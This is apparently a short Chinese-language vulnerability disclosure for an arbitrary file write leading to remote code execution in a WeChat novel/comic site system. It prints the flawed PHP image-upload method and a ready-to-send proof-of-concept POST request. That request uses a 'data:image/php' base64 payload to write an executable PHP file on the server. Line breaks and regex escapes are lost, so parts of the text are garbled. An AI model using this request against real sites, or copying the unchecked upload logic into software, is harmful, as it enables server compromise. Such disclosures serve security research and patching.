微信公众号小说漫画系统前台任意文件写入漏洞(RCE)

/*** 公共上传图片方法*/public function Upload(){  $base64_image_content = I("post.img");  $image_name = I("post.name");  $len = I("post.size");  $baseLen = strlen($base64_image_content);  if($len!=$baseLen)  $this->error("上传图片不完整");  if (preg_match('/^(data:s*image/(w+);base64,)/', $base64_image_content, $result)){    $uploadFolder  = C('UPLOADPATH').date("Ymd")."/";    if(!is_dir($uploadFolder)){      if(!mkdir($uploadFolder, 0755, true)){        $this->error('创建文件失败');      }    }    $type = $result[2];    if(empty($image_name)){      $new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";    }else{      $new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}";    }    $img_64 = base64_decode(str_replace($result[1], '', $base64_image_content));    if (file_put_contents($new_file,$img_64)){      $this->success(complete_url($new_file));    }  }else{    $this->error("图片不存在");  }}

POST /index.php?m=&c=IndexAjax&a=Upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 78Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=bf13e78oe1uqp8nh3crld1gu55; uloginid=107639Host: 127.0.0.1Origin: http://127.0.0.1Pragma: no-cacheReferer: http://127.0.0.1/index.php?m=&c=IndexAjaxSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"img=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==&size=50